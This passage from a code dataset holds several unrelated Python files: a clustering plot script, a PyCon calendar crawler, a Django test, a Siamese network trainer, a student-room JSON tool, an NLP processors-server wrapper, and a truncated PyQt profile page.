2)\n fig.set_size_inches(18, 7)\n ax1.set_xlim([-0.1, 1])\n ax1.set_ylim([0, len(X) + (n_clusters + 1) * 10])\n\n kmeans = KMeans(n_clusters=n_clusters)\n cluster_labels = kmeans.fit_predict(X)\n print(cluster_labels)\n silhouette_avg = silhouette_score(X, cluster_labels)\n silhouette_scores.append(silhouette_avg)\n\n sample_silhouette_values = silhouette_samples(X, cluster_labels)\n\n y_lower = 10\n for i in range(n_clusters):\n ith_cluster_silhouette_values = \\\n sample_silhouette_values[cluster_labels == i]\n\n ith_cluster_silhouette_values.sort()\n\n size_cluster_i = ith_cluster_silhouette_values.shape[0]\n y_upper = y_lower + size_cluster_i\n\n color = cm.nipy_spectral(float(i) / n_clusters)\n ax1.fill_betweenx(np.arange(y_lower, y_upper),\n 0, ith_cluster_silhouette_values,\n facecolor=color, edgecolor=color, alpha=0.7)\n\n ax1.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))\n\n y_lower = y_upper + 10\n\n ax1.set_title(\"Klasterių silueto atvaizdavimas\")\n ax1.set_xlabel(\"Siluetų koeficientai\")\n ax1.set_ylabel(\"Klasterio nr.\")\n\n ax1.axvline(x=silhouette_avg, color=\"red\", linestyle=\"--\")\n\n ax1.set_yticks([])\n ax1.set_xticks([-0.1, 0, 0.2, 0.4, 0.6, 0.8, 1])\n\n colors = cm.nipy_spectral(cluster_labels.astype(float) / n_clusters)\n ax2.scatter(X.iloc[:, 0], X.iloc[:, 1], marker='.',\n s=30, lw=0, alpha=0.7, c=colors, edgecolor='k')\n\n centers = kmeans.cluster_centers_\n ax2.scatter(centers[:, 0], centers[:, 1], marker='o',\n c=\"white\", alpha=1, s=200, edgecolor='k')\n\n for i, c in enumerate(centers):\n ax2.scatter(c[0], c[1], marker='$%d$' % i, alpha=1,\n s=50, edgecolor='k')\n\n ax2.set_title(\"Klasterizuotų duomenų vizualizacija\")\n ax2.set_xlabel(column_a)\n ax2.set_ylabel(column_b)\n\nx = [2, 3, 4]\nfigure, ax3 = plt.subplots(1, 1)\nax3.plot(x, silhouette_scores, marker='o', markerfacecolor='blue')\n# plt.set_title(\"silhouette score\")\n\nplt.show()\n","sub_path":"L4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"233491693","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport pickle\nimport datetime as dt\nfrom html.parser import HTMLParser\n\nfrom googleapiclient.discovery import build\nfrom google.auth.transport.requests import Request\nfrom google_auth_oauthlib.flow import InstalledAppFlow\n\nfrom ..base import BaseCrawler\n\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = [\"https://www.googleapis.com/auth/calendar.readonly\"]\n\n\nclass MyHTMLParser(HTMLParser):\n def handle_starttag(self, tag, attrs):\n for attr in attrs:\n if attr[0] == \"href\":\n self.url = attr[1]\n\n\nclass PyConCrawler(BaseCrawler):\n def get_events(self):\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists(\"token.pickle\"):\n with open(\"token.pickle\", \"rb\") as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n \"credentials.json\", SCOPES\n )\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open(\"token.pickle\", \"wb\") as token:\n pickle.dump(creds, token)\n\n service = build(\"calendar\", \"v3\", credentials=creds)\n\n now = dt.datetime.utcnow().isoformat() + \"Z\" # 'Z' indicates UTC time\n cal_id_python_events = \"j7gov1cmnqr9tvg14k621j7t5c@group.calendar.google.com\"\n\n # Call the Calendar API\n print(\"Getting the upcoming events\")\n events_result = (\n service.events()\n .list(\n calendarId=cal_id_python_events,\n timeMin=now,\n singleEvents=True,\n orderBy=\"startTime\",\n )\n .execute()\n )\n events = events_result.get(\"items\", [])\n\n if not events:\n print(\"No upcoming events found.\")\n else:\n for event in events:\n parser = MyHTMLParser()\n parser.feed(event[\"description\"])\n\n url = \"https://www.python.org/events/\"\n if hasattr(parser, \"url\"):\n url = parser.url\n\n city = state = country = None\n location = event[\"location\"].split(\",\")\n if len(location) == 2:\n city = location[0].strip()\n country = location[1].strip()\n elif len(location) == 3:\n city = location[0].strip()\n state = location[1].strip()\n country = location[2].strip()\n\n e = {\n \"name\": event[\"summary\"],\n \"url\": url,\n \"city\": city,\n \"state\": state,\n \"country\": country,\n \"cfp_open\": False,\n \"cfp_start_date\": \"1970-01-01\",\n \"cfp_end_date\": \"1970-01-01\",\n \"start_date\": event[\"start\"][\"date\"],\n \"end_date\": event[\"end\"][\"date\"],\n \"source\": \"https://www.python.org/events/\",\n \"tags\": [\"python\"],\n \"kind\": \"conference\",\n \"by\": \"bot\",\n }\n self.events.append(e)\n","sub_path":"crawlers/pycon/pycon_crawler.py","file_name":"pycon_crawler.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"332955274","text":"from django.test import Client, TestCase\n\nfrom .utils import create_admin_account, make_request\nfrom app.timetables.factories import EventFactory\n\n\nclass EventApiTest(TestCase):\n\n def setUp(self):\n self.client = Client()\n create_admin_account()\n self.event = EventFactory()\n\n def retrieve_event(self):\n query = 'query {events{edges{node{name}}}}'\n return make_request(self.client, query)\n\n def test_retrieve_events(self):\n response = self.retrieve_event()\n expected = {'events': [{\n 'name': self.event.name\n }]}\n self.assertEqual(expected, response)\n","sub_path":"app/api/tests/test_event_crud.py","file_name":"test_event_crud.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"297321801","text":"import os\nfrom functools import partial\n\nimport tensorflow as tf\nfrom tensorflow.keras.callbacks import (EarlyStopping, ReduceLROnPlateau,\n TensorBoard)\nfrom tensorflow.keras.optimizers import SGD, Adam\n\nfrom nets.siamese import siamese\nfrom nets.siamese_training import Generator\nfrom utils.callbacks import ModelCheckpoint\nfrom utils.utils_fit import fit_one_epoch\n\n\n#----------------------------------------------------#\n# 计算图片总数\n#----------------------------------------------------#\ndef get_image_num(path, train_own_data):\n num = 0\n if train_own_data:\n train_path = os.path.join(path, 'images_background')\n for character in os.listdir(train_path):\n #----------------------------------------------------#\n # 在大众类下遍历小种类。\n #----------------------------------------------------#\n character_path = os.path.join(train_path, character)\n num += len(os.listdir(character_path))\n else:\n train_path = os.path.join(path, 'images_background')\n for alphabet in os.listdir(train_path):\n #-------------------------------------------------------------#\n # 然后遍历images_background下的每一个文件夹,代表一个大种类\n #-------------------------------------------------------------#\n alphabet_path = os.path.join(train_path, alphabet)\n for character in os.listdir(alphabet_path):\n #----------------------------------------------------#\n # 在大众类下遍历小种类。\n #----------------------------------------------------#\n character_path = os.path.join(alphabet_path, character)\n num += len(os.listdir(character_path))\n return num\n \ngpus = tf.config.experimental.list_physical_devices(device_type='GPU')\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n\nif __name__ == \"__main__\":\n #------------------------------------------------------#\n # 是否使用eager模式训练\n #------------------------------------------------------#\n eager = False\n #----------------------------------------------------#\n # 数据集存放的路径\n #----------------------------------------------------#\n dataset_path = \"datasets\"\n #----------------------------------------------------#\n # 训练好的权值保存在logs文件夹里面\n #----------------------------------------------------#\n log_dir = \"logs/\"\n #----------------------------------------------------#\n # 输入图像的大小,默认为105,105,3\n #----------------------------------------------------#\n input_shape = [105,105,3]\n #----------------------------------------------------#\n # 当训练Omniglot数据集时设置为False\n # 当训练自己的数据集时设置为True\n #\n # 训练自己的数据和Omniglot数据格式不一样。\n # 详情可看README.md\n #----------------------------------------------------#\n train_own_data = False\n #----------------------------------------------------------------------------------------------------------------------------#\n # 权值文件的下载请看README,可以通过网盘下载。模型的 预训练权重 对不同数据集是通用的,因为特征是通用的。\n # 模型的 预训练权重 比较重要的部分是 主干特征提取网络的权值部分,用于进行特征提取。\n # 预训练权重对于99%的情况都必须要用,不用的话主干部分的权值太过随机,特征提取效果不明显,网络训练的结果也不会好\n #\n # 如果训练过程中存在中断训练的操作,可以将model_path设置成logs文件夹下的权值文件,将已经训练了一部分的权值再次载入。\n # 同时修改下方的训练参数,来保证模型epoch的连续性。\n # \n # 当model_path = ''的时候不加载整个模型的权值。\n #\n # 如果想要让模型从主干的预训练权值开始训练,则设置model_path为主干网络的权值,此时仅加载主干。\n # 如果想要让模型从0开始训练,则设置model_path = '',此时从0开始训练。\n # 一般来讲,从0开始训练效果会很差,因为权值太过随机,特征提取效果不明显。\n #\n # 网络一般不从0开始训练,至少会使用主干部分的权值,有些论文提到可以不用预训练,主要原因是他们 数据集较大 且 调参能力优秀。\n # 如果一定要训练网络的主干部分,可以了解imagenet数���集,首先训练分类模型,分类模型的 主干部分 和该模型通用,基于此进行训练。\n #----------------------------------------------------------------------------------------------------------------------------#\n model_path = \"model_data/vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5\"\n\n model = siamese(input_shape)\n if model_path != '':\n #------------------------------------------------------#\n # 载入预训练权重\n #------------------------------------------------------#\n model.load_weights(model_path, by_name=True, skip_mismatch=True)\n \n #-------------------------------------------------------------------------------#\n # 训练参数的设置\n # logging表示tensorboard的保存地址\n # checkpoint用于设置权值保存的细节,period用于修改多少epoch保存一次\n # reduce_lr用于设置学习率下降的方式\n # early_stopping用于设定早停,val_loss多次不下降自动结束训练,表示模型基本收敛\n #-------------------------------------------------------------------------------#\n tensorboard = TensorBoard(log_dir=log_dir)\n checkpoint_period = ModelCheckpoint(log_dir + 'ep{epoch:03d}-loss{loss:.3f}-val_loss{val_loss:.3f}.h5',\n monitor='val_loss', save_weights_only=True, save_best_only=False, period=1)\n reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=3, verbose=1)\n early_stopping = EarlyStopping(monitor='val_loss', min_delta=0, patience=10, verbose=1)\n\n #----------------------------------------------------#\n # 训练集和验证集的比例。\n #----------------------------------------------------#\n train_ratio = 0.9\n images_num = get_image_num(dataset_path, train_own_data)\n num_train = int(images_num * train_ratio)\n num_val = images_num - num_train\n \n #-------------------------------------------------------------#\n # 训练分为两个阶段,两阶段初始的学习率不同,手动调节了学习率\n # 显存不足与数据集大小无关,提示显存不足请调小batch_size。\n #-------------------------------------------------------------#\n if True:\n Batch_size = 32\n Lr = 1e-4\n Init_epoch = 0\n Freeze_epoch = 50\n \n epoch_step = num_train // Batch_size\n epoch_step_val = num_val // Batch_size\n\n if epoch_step == 0 or epoch_step_val == 0:\n raise ValueError('数据集过小,无法进行训练,请扩充数据集。')\n \n generator = Generator(input_shape, dataset_path, Batch_size, train_ratio, train_own_data)\n\n print('Train with batch size {}.'.format(Batch_size))\n if eager:\n gen = tf.data.Dataset.from_generator(partial(generator.generate, train = True), (tf.float32, tf.float32))\n gen_val = tf.data.Dataset.from_generator(partial(generator.generate, train = False), (tf.float32, tf.float32))\n\n gen = gen.shuffle(buffer_size=Batch_size).prefetch(buffer_size=Batch_size)\n gen_val = gen_val.shuffle(buffer_size=Batch_size).prefetch(buffer_size=Batch_size)\n\n lr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(\n initial_learning_rate = Lr, decay_steps = epoch_step, decay_rate=0.94, staircase=True)\n\n print('Train on {} samples, val on {} samples, with batch size {}.'.format(num_train, num_val, Batch_size))\n optimizer = tf.keras.optimizers.Adam(learning_rate=lr_schedule)\n\n for epoch in range(Init_epoch, Freeze_epoch):\n fit_one_epoch(model, optimizer, epoch, epoch_step, epoch_step_val, gen, gen_val, Freeze_epoch)\n else:\n model.compile(loss = \"binary_crossentropy\", optimizer = Adam(lr=Lr), metrics = [\"binary_accuracy\"])\n\n model.fit_generator(\n generator.generate(True),\n steps_per_epoch = epoch_step,\n validation_data = generator.generate(False),\n validation_steps = epoch_step_val,\n epochs = Freeze_epoch,\n initial_epoch = Init_epoch,\n callbacks = [checkpoint_period, reduce_lr, early_stopping, tensorboard]\n )\n\n if True:\n Batch_size = 32\n Lr = 1e-5\n Freeze_epoch = 50\n Epoch = 100\n \n epoch_step = num_train // Batch_size\n epoch_step_val = num_val // Batch_size\n\n if epoch_step == 0 or epoch_step_val == 0:\n raise ValueError('数据集过小,无法进行训练,请扩充数据集。')\n\n generator = Generator(input_shape, dataset_path, Batch_size, train_ratio, train_own_data)\n\n print('Train with batch size {}.'.format(Batch_size))\n if eager:\n gen = tf.data.Dataset.from_generator(partial(generator.generate, train = True), (tf.float32, tf.float32))\n \n gen_val = tf.data.Dataset.from_generator(partial(generator.generate, train = False), (tf.float32, tf.float32))\n\n gen = gen.shuffle(buffer_size=Batch_size).prefetch(buffer_size=Batch_size)\n gen_val = gen_val.shuffle(buffer_size=Batch_size).prefetch(buffer_size=Batch_size)\n\n lr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(\n initial_learning_rate = Lr, decay_steps = epoch_step, decay_rate=0.94, staircase=True)\n\n print('Train on {} samples, val on {} samples, with batch size {}.'.format(num_train, num_val, Batch_size))\n optimizer = tf.keras.optimizers.Adam(learning_rate=lr_schedule)\n\n for epoch in range(Freeze_epoch, Epoch):\n fit_one_epoch(model, optimizer, epoch, epoch_step, epoch_step_val, gen, gen_val, Epoch)\n else:\n model.compile(loss = \"binary_crossentropy\", optimizer = Adam(lr=Lr), metrics = [\"binary_accuracy\"])\n\n model.fit_generator(\n generator.generate(True),\n steps_per_epoch = epoch_step,\n validation_data = generator.generate(False),\n validation_steps = epoch_step_val,\n epochs = Epoch,\n initial_epoch = Freeze_epoch,\n callbacks = [checkpoint_period, reduce_lr, early_stopping, tensorboard]\n )\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"16115340","text":"import json\nfrom argparse import ArgumentParser\n\n\nclass Room:\n\n isinstances = {}\n\n def __init__(self, room_number):\n self.room_number = room_number\n self.students = {self.room_number: []}\n self.isinstances[room_number] = self\n\n def appending_st_to_room(self, name):\n self.students[self.room_number].append(name)\n\n return self.students\n\n\ndef reading_room_file(r_file):\n \"\"\"\n This function creates list of room numbers from rooms.json\n :param r_file: path to room-file\n\n :return: room_list: list of room numbers\n \"\"\"\n room_list = []\n\n with open(r_file, 'r') as file:\n rooms = json.load(file)\n\n for line in rooms:\n room_list.append(line['id'])\n\n return room_list\n\n\ndef creating_result(room_list, stud_file_path):\n \"\"\"\n This function reads student file line by line and creates instances of Room class\n\n :param room_list: list of room number from room.json\n :param stud_file_path: path to student.json\n :return: result_dict : { room_number : [name1, ... name_N ]}\n \"\"\"\n\n result_dict = {}\n\n with open(stud_file_path, 'r') as st_file:\n students = json.load(st_file)\n created_instances = []\n\n for line in students:\n\n if (line['room'] in created_instances) and (line['room'] in room_list):\n room = Room.isinstances[line['room']]\n student = room.appending_st_to_room(line['name'])\n result_dict[room.room_number] = student[room.room_number]\n\n elif line['room'] in room_list:\n room = Room(line['room'])\n created_instances.append(line['room'])\n student = room.appending_st_to_room(line['name'])\n result_dict[room.room_number] = student[room.room_number]\n\n return result_dict\n\n\ndef writing_json_file(result_dict, output_file_name):\n \"\"\"\n This function writes the dictionary to a json file\n\n :param result_dict:\n :param output_file_name:\n :return: None\n \"\"\"\n json_data = json.dumps(result_dict)\n with open('{}.json'.format(output_file_name), \"w\", encoding=\"utf-8\") as file:\n file.write(json_data)\n file.close()\n\n\ndef writing_xml_file(result_dict, output_file_name):\n \"\"\"\n This function writes the dictionary to a xml file\n\n :param result_dict:\n :param output_file_name:\n :return: None\n \"\"\"\n with open('{}.xml'.format(output_file_name), \"w\", encoding=\"utf-8\") as xml_file:\n xml_file.write(str(result_dict))\n xml_file.close()\n\n\ndef main():\n parser = ArgumentParser(description='Reading students.json and room.json')\n parser.add_argument('-s', '--students', type=str, default='data/students.json', help='Path to students-file')\n parser.add_argument('-r', '--rooms', type=str, default='data/rooms.json', help='Path to rooms-file')\n parser.add_argument('-f', '--format', type=str, default='json', help='Format output file')\n parser.add_argument('-res', '--result', type=str, default='result', help='Name output file. Enter the name of the resulting file without the extension')\n\n args = parser.parse_args()\n\n try:\n if args.format.lower() == 'json' or args.format.lower() == 'xml':\n pass\n\n else:\n raise ValueError\n except ValueError:\n print('Invalid output file extension. Try again!')\n\n try:\n room_list = reading_room_file(args.rooms)\n result = creating_result(room_list, args.students)\n except Exception as exc:\n print('Incorrect path', exc)\n\n try:\n if args.format.lower() == 'json':\n writing_json_file(result, args.result)\n elif args.format.lower() == 'xml':\n writing_xml_file(result, args.result)\n\n except Exception as exc:\n print('Try again!', exc)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"task_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242179037","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n#from pkg_resources import resource_filename\nfrom six.moves.urllib.request import urlretrieve\nfrom .utils import *\nfrom .processors import *\nfrom .sentiment import SentimentAnalysisAPI\nfrom .odin import OdinAPI\nimport os\nimport shlex\nimport os\nimport subprocess as sp\nimport requests\nimport time\nimport sys\nimport logging\nimport warnings\n\n\nclass ProcessorsAPI(object):\n\n \"\"\"\n Manages a connection with the processors-server jar and provides an interface to the API.\n\n Parameters\n ----------\n port : int\n The port the server is running on or should be started on. Default is 8886.\n hostname : str\n The host name to use for the server. Default is \"localhost\".\n timeout : int\n The number of seconds to wait for the server to initialize. Default is 120.\n jvm_mem : str\n The maximum amount of memory to allocate to the JVM for the server. Default is \"-Xmx3G\".\n jar_path : str\n The path to the processors-server jar. Default is the jar installed with the package.\n kee_alive : bool\n Whether or not to keep the server running when ProcessorsAPI instance goes out of scope. Default is false (server is shut down).\n log_file: str\n The path for the log file. Default is .py-processors.log in the user's home directory.\n\n Methods\n -------\n annotate(text)\n Produces a Document from the provided `text` using the default processor.\n fastnlp.annotate(text)\n Produces a Document from the provided `text` using FastNLPProcessor.\n bionlp.annotate(text)\n Produces a Document from the provided `text` using BioNLPProcessor.\n annotate_from_sentences(sentences)\n Produces a Document from `sentences` (a list of text split into sentences). Uses the default processor.\n fastnlp.annotate_from_sentences(sentences)\n Produces a Document from `sentences` (a list of text split into sentences). Uses FastNLPProcessor.\n bionlp.annotate_from_sentences(sentences)\n Produces a Document from `sentences` (a list of text split into sentences). Uses BioNLPProcessor.\n corenlp.sentiment.score_sentence(sentence)\n Produces a sentiment score for the provided `sentence` (an instance of Sentence).\n corenlp.sentiment.score_document(doc)\n Produces sentiment scores for the provided `doc` (an instance of Document). One score is produced for each sentence.\n corenlp.sentiment.score_segmented_text\n Produces sentiment scores for the provided `sentences` (a list of text segmented into sentences). One score is produced for item in `sentences`.\n odin.extract_from_text(text, rules)\n Produces a list of Mentions for matches of the provided `rules` on the `text`. `rules` can be a string of Odin rules, or a url ending in .yml or yaml.\n odin.extract_from_document(doc, rules)\n Produces a list of Mentions for matches of the provided `rules` on the `doc` (an instance of Document). `rules` can be a string of Odin rules, or a url ending in .yml or yaml.\n start_server(jar_path, **kwargs)\n Starts the server using the provided `jar_path`. Optionally takes hostname, port, jvm_mem, and timeout.\n stop_server()\n Attempts to stop the server running at self.address.\n \"\"\"\n\n PROC_VAR = 'PROCESSORS_SERVER'\n TIMEOUT = 120\n # save to lib loc\n DEFAULT_JAR = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"processors-server.jar\")\n PORT = 8886\n JVM_MEM = \"-Xmx3G\"\n HOST = \"localhost\"\n LOG = full_path(os.path.join(\"~\", \".py-processors.log\"))\n #print(resource_filename(__name__, \"processors-server.jar\"))\n\n def __init__(self, **kwargs):\n\n self.hostname = kwargs.get(\"hostname\", ProcessorsAPI.HOST)\n self.port = kwargs.get(\"port\", ProcessorsAPI.PORT)\n self.make_address(self.hostname, self.port)\n self.timeout = kwargs.get(\"timeout\", ProcessorsAPI.TIMEOUT)\n self.jvm_mem = kwargs.get(\"jvm_mem\", ProcessorsAPI.JVM_MEM)\n self._start_command = \"java {mem} -cp {jp} NLPServer --port {port} --host {host}\" # mem, jar path, port, host\n # whether or not to stop the server when the object is destroyed\n self.keep_alive = kwargs.get(\"keep_alive\", False)\n # how long to wait between requests\n self.wait_time = 2\n # processors\n self.default = Processor(self.address)\n self.fastnlp = FastNLPProcessor(self.address)\n self.bionlp = BioNLPProcessor(self.address)\n # sentiment\n self.sentiment = SentimentAnalysisAPI(self.address)\n # odin\n self.odin = OdinAPI(self.address)\n # use the os module's devnull for compatibility with python 2.7\n #self.DEVNULL = open(os.devnull, 'wb')\n self.logger = logging.getLogger(__name__)\n self.log_file = self._prepare_log_file(kwargs.get(\"log_file\", ProcessorsAPI.LOG))\n self.jar_path = kwargs.get(\"jar_path\", ProcessorsAPI.DEFAULT_JAR)\n # attempt to establish connection with server\n self.establish_connection()\n\n def _check_server_version(self):\n \"\"\"\n Checks server version to see if it meets the recommendations\n \"\"\"\n # avoid circular imports by delaying this import\n from .__init__ import __ps_rec__\n try:\n service_address = \"{}/version\".format(self.address)\n server_version = post_json(service_address, None)[\"version\"]\n if float(__ps_rec__) != float(server_version):\n warnings.warn(\"Recommended server version is {}, but server version is {}\".format(__ps_rec__, server_version))\n else:\n self.logger.info(\"Server version meets recommendations (v{})\".format(__ps_rec__))\n except:\n warnings.warn(\"Unable to determine server version. Recommended version is {}\".format(__ps_rec__))\n\n\n def _prepare_log_file(self, lf):\n \"\"\"\n Configure logger and return file path for logging\n \"\"\"\n # log_file\n log_file = ProcessorsAPI.LOG if not lf else os.path.expanduser(lf)\n # configure logger\n self.logger.setLevel(logging.DEBUG)\n # create console handler and set level to info\n handler = logging.StreamHandler()\n handler.setLevel(logging.INFO)\n formatter = logging.Formatter(\"%(levelname)s - %(message)s\")\n handler.setFormatter(formatter)\n self.logger.addHandler(handler)\n # create debug file handler and set level to debug\n handler = logging.FileHandler(log_file, \"w\")\n handler.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\"%(levelname)s - %(message)s\")\n handler.setFormatter(formatter)\n self.logger.addHandler(handler)\n return log_file\n\n def annotate(self, text):\n \"\"\"\n Uses default processor (CoreNLP) to annotate text. Included for backwards compatibility.\n \"\"\"\n return self.default.annotate(text)\n\n def annotate_from_sentences(self, sentences):\n \"\"\"\n Uses default processor (CoreNLP) to annotate a list of segmented sentences.\n \"\"\"\n return self.default.annotate_from_sentences(sentences)\n\n def is_running(self):\n return True if self.annotate(\"Blah\") else False\n\n def establish_connection(self):\n \"\"\"\n Attempt to connect to a server (assumes server is running)\n \"\"\"\n if self.is_running():\n self.logger.info(\"Connection with server established!\")\n self._check_server_version()\n else:\n try:\n # resolve jar path if server is not already running\n self._resolve_jar_path(self.jar_path)\n # Attempt to start the server\n self._start_server()\n except Exception as e:\n self.logger.warn(\"Unable to start server. Please start the server manually with .start_server(jar_path=\\\"path/to/processors-server.jar\\\")\")\n self.logger.warn(\"\\n{}\".format(e))\n\n def _resolve_jar_path(self, jar_path=None):\n \"\"\"\n Attempts to preferentially set value of self.jar_path\n \"\"\"\n # Preference 1: if a .jar is given, check to see if the path is valid\n if jar_path:\n jp = full_path(jar_path)\n # check if path is valid\n if os.path.exists(jp):\n self.jar_path = jp\n # Preference 2: if a PROCESSORS_SERVER environment variable is defined, check its validity\n elif ProcessorsAPI.PROC_VAR in os.environ:\n self.logger.info(\"Using path given via $PROCESSORS_SERVER\")\n jp = full_path(os.environ[ProcessorsAPI.PROC_VAR])\n # check if path is valid\n if os.path.exists(jp):\n self.jar_path = jp\n else:\n self.jar_path = None\n self.logger.warn(\"WARNING: {0} path is invalid. \\nPlease verify this entry in your environment:\\n\\texport {0}=/path/to/processors-server.jar\".format(ProcessorsAPI.PROC_VAR))\n # Preference 3: attempt to use the processors-sever.jar (download if not found)\n # check if jar exists\n if not self.jar_path or not os.path.exists(self.jar_path):\n self.logger.info(\"No jar found. Downloading to {} ...\".format(ProcessorsAPI.DEFAULT_JAR))\n ProcessorsAPI._download_jar()\n self.jar_path = ProcessorsAPI.DEFAULT_JAR\n\n def start_server(self, jar_path, **kwargs):\n \"\"\"\n Starts processors-sever.jar\n \"\"\"\n self.port = kwargs.get(\"port\", self.port)\n self.hostname = kwargs.get(\"hostname\", self.hostname)\n self.jvm_mem = kwargs.get(\"jvm_mem\", self.jvm_mem)\n self.timeout = int(float(kwargs.get(\"timeout\", self.jvm_mem))/2)\n jp = full_path(jar_path)\n if jp:\n self.jar_path = jp\n self._start_server()\n else:\n raise Exception(\"Please provide jar_path=\\\"path/to/processors-server.jar\\\"\")\n\n def stop_server(self, port=None):\n \"\"\"\n Sends a poison pill to the server and waits for shutdown response\n \"\"\"\n port = port or self.port\n address = \"http://{}:{}\".format(self.hostname, port)\n shutdown_address = \"{}/shutdown\".format(address)\n # attempt shutdown\n try:\n response = requests.post(shutdown_address)\n if response:\n print(response.content.decode(\"utf-8\"))\n return True\n # will fail if the server is already down\n except Exception as e:\n pass\n return False\n\n def _ensure_jar_path_exists(self):\n # check if jar exists\n if not os.path.exists(self.jar_path):\n raise Exception(\"jar not found at {}\".format(self.jar_path))\n\n def _start_server(self, port=None):\n \"\"\"\n \"Private\" method called by start_server()\n \"\"\"\n\n # does the jar exist?\n self._ensure_jar_path_exists()\n\n if port:\n self.port = port\n # build the command\n cmd = self._start_command.format(mem=self.jvm_mem, jp=self.jar_path, port=self.port, host=self.hostname)\n self._process = sp.Popen(shlex.split(cmd),\n shell=False,\n stderr=open(self.log_file, 'wb'),\n stdout=open(self.log_file, 'wb'),\n universal_newlines=True)\n\n self.logger.info(\"Starting processors-server ({}) ...\".format(cmd))\n print(\"\\nWaiting for server...\")\n\n progressbar_length = int(self.timeout/self.wait_time)\n for i in range(progressbar_length):\n try:\n success = self.annotate(\"blah\")\n if success:\n print(\"\\n\\nConnection with processors-server established ({})\".format(self.address))\n return True\n sys.stdout.write(\"\\r[{:{}}]\".format('='*i, progressbar_length))\n time.sleep(self.wait_time)\n except Exception as e:\n raise(e)\n\n # if the server still hasn't started, raise an Exception\n raise Exception(\"Couldn't connect to processors-server. Is the port in use?\")\n\n def make_address(self, hostname, port):\n # update hostname\n self.hostname = hostname\n # update port\n self.port = port\n # update address\n self.address = \"http://{}:{}\".format(self.hostname, self.port)\n\n @staticmethod\n def _download_jar(jar_url=\"http://www.cs.arizona.edu/~hahnpowell/processors-server/current/processors-server.jar\"):\n # download processors-server.jar\n ppjar = ProcessorsAPI.DEFAULT_JAR\n percent = 0\n def dlProgress(count, blockSize, totalSize):\n percent = int(count*blockSize*100/totalSize)\n sys.stdout.write(\"\\r{}% complete\".format(percent))\n sys.stdout.flush()\n\n print(\"Downloading {} from {} ...\".format(ppjar, jar_url))\n urlretrieve(jar_url, ppjar, reporthook=dlProgress)\n print(\"\\nDownload Complete! {}\".format(ppjar))\n\n\n def _get_path(self, p):\n \"\"\"\n Expand a user-specified path. Supports \"~\" shortcut.\n \"\"\"\n return os.path.abspath(os.path.normpath(os.path.expanduser(p)))\n\n def __del__(self):\n \"\"\"\n Stop server unless otherwise specified\n \"\"\"\n if not self.keep_alive:\n try:\n self.stop_server()\n # close our file object\n #self.DEVNULL.close()\n print(\"Successfully shut down processors-server!\")\n except Exception as e:\n self.logger.debug(e)\n print(\"Couldn't kill processors-server. Was server started externally?\")\n","sub_path":"processors/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":13824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"156822959","text":"from PyQt5.QtWidgets import QWidget\n\nfrom gui import BUTTON_TYPE_NORMAL, BUTTON_TYPE_CONFIRM, USERS_PAGE\nfrom gui.dialogs.confirmationdialog import ConfirmationDialog\nfrom gui.requestmanager import RequestManager\nfrom gui.widgets.skillitem import SkillItem\n\n\nclass ProfilePage(QWidget):\n\n def __init__(self):\n QWidget.__init__(self)\n self.active_user = None\n self.dialog = None\n self.user_data = None\n\n def initialize(self):\n self.window().add_skill_button.clicked.connect(self.on_add_skill_button_clicked)\n self.window().connect_github_button.clicked.connect(self.on_github_connect_clicked)\n self.window().connect_bitbucket_button.clicked.connect(self.on_bitbucket_connect_clicked)\n self.window().profile_back_button.clicked.connect(self.on_back_button_clicked)\n\n def on_back_button_clicked(self):\n self.window().stackedWidget.setCurrentIndex(USERS_PAGE)\n\n def on_github_connect_clicked(self):\n self.dialog = ConfirmationDialog(self.window(), \"Connect GitHub with your DevID\",\n \"You are about to connect your GitHub profile to DevID. Please enter your GitHub username in the field below:\",\n [('ADD', BUTTON_TYPE_CONFIRM), ('CLOSE', BUTTON_TYPE_NORMAL)], show_input=True)\n self.dialog.dialog_widget.dialog_input.setPlaceholderText(\"GitHub username\")\n self.dialog.button_clicked.connect(self.on_connect_github_dialog_button_clicked)\n self.dialog.show()\n\n def on_bitbucket_connect_clicked(self):\n ConfirmationDialog.show_error(self.window(), \"Not implemented\", \"This feature is not implemented yet.\")\n\n def on_connect_github_dialog_button_clicked(self, action):\n if action == 0:\n # Add the skill\n request_manager = RequestManager()\n post_data = str(\"username=%s\" % self.dialog.dialog_widget.dialog_input.text())\n request_manager.perform_request(\"dappcrowd/github/import\", self.on_github_import_data, data=post_data,\n method=\"PUT\")\n self.dialog.close()\n\n def on_github_import_data(self, data):\n # Reload the profile\n self.load_user(self.active_user)\n\n def on_add_skill_button_clicked(self):\n self.dialog = ConfirmationDialog(self.window(), \"Add skill to your DevID\", \"Please enter the name of the 